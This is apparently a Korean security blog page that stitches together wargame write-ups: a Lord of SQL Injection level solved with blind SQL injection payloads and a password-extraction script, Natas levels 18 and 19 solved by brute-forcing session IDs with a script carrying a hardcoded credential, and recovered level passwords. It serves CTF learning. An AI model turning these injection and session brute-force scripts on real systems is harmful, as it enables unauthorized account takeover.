preg_match함수를 통해 or, and, substr, (, = 등의 입력을 막고 있다.

 

1) 비밀번호 길이 찾기

- ?pw= || id like 'admin' %26%26 length(pw) like 5%23

 

- ?pw= || id like 'admin' %26%26 length(pw) like 8%23

위처럼 비밀번호가 8임을 알 수 있다.

 

2) 비밀번호 찾기

자동화 스크립트를 통해 비밀번호 길이와 비밀번호를 동시에 구하도록 하였다.

import requests

url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?"
cookies = {'PHPSESSID' : 'tqe22gs5ja0r848pf9bg7ddi2f'}

len=0
while True:
    len+=1
    print(len)
    params={'pw':"' || id like 'admin' && length(pw) like {} #".format(len)}
    res=requests.get(url, params=params , cookies=cookies)
    if "Hello admin" in res.text:
        print("password length=",len)
        break
print()

arr=[]    
for k in range(1,len+1):
    for j in range(32,127):
        res = requests.get(url+"pw=' || id like 'admin' %26%26 ASCII(mid(pw,"+str(k)+",1)) like '"+str(j) ,cookies=cookies)
        
        if 'Hello admin' in res.text:
            arr.append(chr(j))
            print(arr)
            break
print("password=",arr)

 

비밀번호가 77d6290b임을 확인하고 url를 추가해주었더니 Clear하였다.

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] Bugbear  (0) 2022.10.09
[Lord of SQL Injection] darkknight  (0) 2022.10.02
[Lord of SQL Injection] Skeleton  (0) 2022.09.18
[Lord of SQL Injection] vampire  (0) 2022.09.09
[Lord of SQL Injection] orge  (0) 2022.06.19

 

이전 레벨과 코드가 비슷하다고 해서 이전 레벨의 코드를 가져왔다. 하지만 세션 ID가 순차적이지 않다고 한다.

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "<censored>" };</script></head>
<body>
<h1>natas18</h1>
<div id="content">
<?php

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}
/* }}} */

$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
}

if($showform) {
?>

<p>
Please login with your admin account to retrieve credentials for natas19.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

세션 ID를 확인한 결과 아래와 같이 3X3X3X2d6164d696e의 형태임을 알 수 있었다.

PHPSESSID=3538392d6164d696e

PHPSESSID=3537372d6164d696e

PHPSESSID=3230312d6164d696e

PHPSESSID=3537372d6164d696e

 

다음은 세션 ID 를 구하기 위한 자동화 스크립트이다.

세션 ID가 3X3X3X2d6164d696e의 형태이기 때문에 X에 들어갈 수를 찾고자 했다.

 

아래와 같이 3238312d6164d696e가 세션 ID임을 확인하고, 비밀번호를 획득하였다.

|guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH

'Web Hacking > Natas' 카테고리의 다른 글

[Natas] Level 20 > Level 21  (0) 2022.10.09
[Natas] Level 19 > Level 20  (0) 2022.10.02
[Natas] Level 17 > Level 18  (0) 2022.09.18
[Natas] Level 16 > Level 17  (0) 2022.09.11
[Natas] Level 15 > Level 16  (0) 2022.06.25

다음은 natas18의 페이지 초기화면이다.

 

View sourcecode를 통해 코드를 확인해주었다.

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "<censored>" };</script></head>
<body>
<h1>natas18</h1>
<div id="content">
<?php

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}
/* }}} */

$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
}

if($showform) {
?>

<p>
Please login with your admin account to retrieve credentials for natas19.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

admin의 세션값을 알아내야 한다.

세션은 1~640 중 하나이다.

 

index.php의 정보들을 이용하여 자동화 스크립트를 작성한다.

import socket

for i in range(1, 641):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("13.49.7.247", 80)) 

    header = "GET /index.php HTTP/1.1\r\n"
    header += "Host:natas18.natas.labs.overthewire.org\r\n"
    header += "Authorization: Basic bmF0YXMxODo4TkVEVVV4ZzhrRmdQVjg0dUx3dlprR242b2tKUTZhcQ==\r\n"
    header += "Cookie:PHPSESSID=" + str(i) + "\r\n"
    header += "\r\n"

    response = " "
    sock.send(header.encode())
    response = sock.recv(65535)
    response = response.decode()

    if "You are an admin" in response:
        print(response)
        break
    sock.close()
print()

참고 : pd6156.tistory.com

 

그리고 아래와 같이 natas19의 비밀번호를 알아낼 수 있다.

|8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s

'Web Hacking > Natas' 카테고리의 다른 글

[Natas] Level 19 > Level 20  (0) 2022.10.02
[Natas] Level 18 > Level 19  (0) 2022.09.24
[Natas] Level 16 > Level 17  (0) 2022.09.11
[Natas] Level 15 > Level 16  (0) 2022.06.25
[Natas] Level 14 > Level 15  (0) 2022.06.25

위 문제는 challenge 20의 초기화면이다.

 

소스코드 중 script를 확인해보면, ck함수 속 여러 조건문이 있다.

lv5frm.id의 값, lv5frm.cmt의 값, lv5frm.captcha의 값이 공백이거나 captcha의 value가 다르면 return되는 것을 알 수 있다.

이를 콘솔창에서 조정해주기로 했다.

위와 같이 입력해주었더니 해결할 수 있었다.

 

'Web Hacking > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] Challenge 47  (0) 2022.11.06
[webhacking.kr] Challenge 27  (0) 2022.10.09
[webhacking.kr] Challenge 25  (0) 2022.10.02
[webhacking.kr] Challenge 19  (0) 2022.09.24
[webhacking.kr] Challenge 1  (0) 2022.09.09

+ Recent posts